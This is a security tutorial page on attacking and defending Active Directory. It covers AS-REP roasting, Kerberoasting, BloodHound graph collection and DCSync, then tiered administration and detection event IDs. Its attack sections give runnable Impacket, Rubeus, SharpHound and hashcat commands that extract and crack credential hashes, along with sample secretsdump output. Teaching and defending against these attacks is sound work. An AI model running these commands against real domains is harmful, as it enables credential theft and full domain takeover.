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Offensive Advanced 20 min

Active Directory Enterprise Killchain: Kerberoasting, DCSync, BloodHound & Tier-0 Defense

In-depth enterprise guide to Active Directory security: Kerberos ticket extraction (TGT/TGS), AS-REP Roasting, DCSync abuse, BloodHound shortest-path attack graph analysis, and Tiered Administration Architecture.

Active DirectoryKerberosRed TeamKerberoastingDCSyncBloodHoundSysmon
Active Directory Enterprise Attack and Defense Architecture

Active Directory (AD) remains the foundational identity and access management backbone of over 90% of Fortune 500 enterprises. Because AD relies heavily on legacy protocols (NTLM, Kerberos, LDAP) and permissive default configurations, a single compromised workstation credential can quickly escalate to full Domain Compromise (Domain Admins).

This guide details the complete Active Directory attack lifecycle and provides the engineering blueprints to build a resilient Tiered Administration Model with high-fidelity telemetry detection.


1. The Active Directory Attack Progression Lifecycle

+-----------------------------------------------------------------------------+
|                     ACTIVE DIRECTORY ATTACK PROGRESSION                     |
+-----------------------------------------------------------------------------+
|                                                                             |
|  [PHASE 1: RECON]          [PHASE 2: CREDENTIAL THEFT]   [PHASE 3: DOMAIN RCE]
|  LDAP Domain Query         Kerberoasting (SPN Request)   DCSync (DRSUAPI)   |
|  BloodHound Ingestion ---> AS-REP Roasting          ---> GPO Abuse Paths   |
|  PowerView Enumeration     LSASS Memory MiniDump         Golden/Silver Ticket
|                                                                             |
|                                                                             |
|                            [DEFENSIVE BARRIERS]                             |
|                            - Tier-0 Isolation Boundary                      |
|                            - Protected Users Group                          |
|                            - Sysmon Event ID 4662 / 4769                    |
|                                                                             |
+-----------------------------------------------------------------------------+

2. Kerberos Mechanics & Attack Primitives

Active Directory uses Kerberos v5 for mutual authentication. Understanding the ticket-granting exchange reveals why Kerberoasting and AS-REP roasting are structural protocol vulnerabilities.

A. AS-REP Roasting (No Pre-Authentication)

When user accounts have the DONT_REQ_PREAUTH flag enabled, an attacker can send an AS-REQ without knowing the user’s password and receive an encrypted AS-REP containing the password hash:

# Reconnaissance: Find all accounts without Kerberos Pre-Authentication
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

# Attack Execution using Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asreproast.hashes

# Hashcat Offline Cracking (Mode 18200)
hashcat -m 18200 -a 0 asreproast.hashes /usr/share/wordlists/rockyou.txt

B. Kerberoasting (Service Principal Names)

Any authenticated domain user can request a Kerberos Ticket Granting Service (TGS) ticket for any account with a registered ServicePrincipalName (SPN). Because the TGS is encrypted with the service account’s NTLM hash, attackers extract and crack it offline:

# Request TGS tickets for all SPN accounts via Rubeus
.\Rubeus.exe kerberoast /outfile:kerberoast.txt /stats

# Extracting with Impacket GetUserSPNs
GetUserSPNs.py domain.local/lowpriv_user:Password123! -request -outputfile kerberoast_hashes.txt

# Hashcat Offline Cracking (Mode 13100)
hashcat -m 13100 -a 0 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

3. BloodHound Graph Analysis: Finding Shortest Paths to Domain Admin

BloodHound ingests Active Directory object ACLs, group memberships, and user sessions using the SharpHound collector to map complex privilege escalation graphs:

# Ingest full AD Domain Graph
.\SharpHound.exe -c All,LoggedOn,ObjectProps --outputdirectory C:\Windows\Temp\

Critical Escalation Paths Identified by BloodHound:

  1. GenericAll / WriteDacl on Domain Objects: Allows an attacker to grant themselves Replication-Get-Changes-All permissions or reset passwords on higher-privileged accounts.
  2. Unconstrained Kerberos Delegation: Domain Controllers send full TGTs to delegated servers. If an attacker compromises a server with unconstrained delegation, they can coerce a DC to authenticate via SpoolSample (MS-RPRN) and capture the DC’s machine TGT.

4. DCSync: Extracting the KRBTGT Master Hash

DCSync simulates the behavior of a Domain Controller using the Directory Replication Service Remote Protocol (MS-DRSR). An account with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights can request the password hash for any domain user:

# Execute DCSync against Domain Controller using Secretsdump
secretsdump.py domain.local/compromised_admin:'Password123'@10.0.100.10 -just-dc-user krbtgt

The Output:

[+] Dumping Domain Credentials (domain\krbtgt)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82b4a34b281f9a1f28b7e21a02934a10:::

5. Enterprise Defensive Architecture: Tiered Administration

To eliminate lateral movement from compromised endpoints to Domain Controllers, enforce the Tiered Administrative Model:

+-------------------------------------------------------------------------+
|                  ACTIVE DIRECTORY TIERED ADMINISTRATION                 |
+-------------------------------------------------------------------------+
|                                                                         |
|  [TIER 0: IDENTITY CONTROL]  -> Domain Controllers, PKI, ADFS, Entra ID |
|                                 (Admins log in ONLY on PAWs)            |
|                                                                         |
|  [TIER 1: ENTERPRISE SERVERS] -> SQL Clusters, Web Apps, Hypervisors     |
|                                 (Restricted from Tier 0)                |
|                                                                         |
|  [TIER 2: USER WORKSTATIONS]  -> End-user Laptops, Desktops, Printers   |
|                                 (Zero Admin Rights to Tier 1/0)         |
|                                                                         |
+-------------------------------------------------------------------------+

Tier-0 Defense Rules:

  1. Privileged Access Workstations (PAWs): Domain Admins authenticate only from dedicated, hardware-isolated, non-internet-connected workstations.
  2. Protected Users Security Group: Add all administrative accounts to the Protected Users group in Active Directory. This automatically blocks NTLM authentication, stops caching credentials in LSASS memory, and restricts Kerberos ticket lifetime to 4 hours.
  3. gMSA (Group Managed Service Accounts): Convert all SPN service accounts to gMSAs with 128-character automatically rotated passwords to make Kerberoasting mathematically unfeasible.

6. High-Fidelity Threat Detection Rules

+-----------------------------------------------------------------------+
| EVENT ID  | SOURCE        | THREAT SIGNATURE / RULE                   |
+-----------------------------------------------------------------------+
| 4769      | Security Log  | Kerberoasting: Ticket Encryption 0x17 (RC4)|
| 4768      | Security Log  | AS-REP Roasting: Pre-Auth Type 0 Requested|
| 4662      | Security Log  | DCSync: AccessMask 0x100 (Replication)    |
| 7045      | System Log    | Lateral Movement: Remote Service Installed|
+-----------------------------------------------------------------------+

// Discussion

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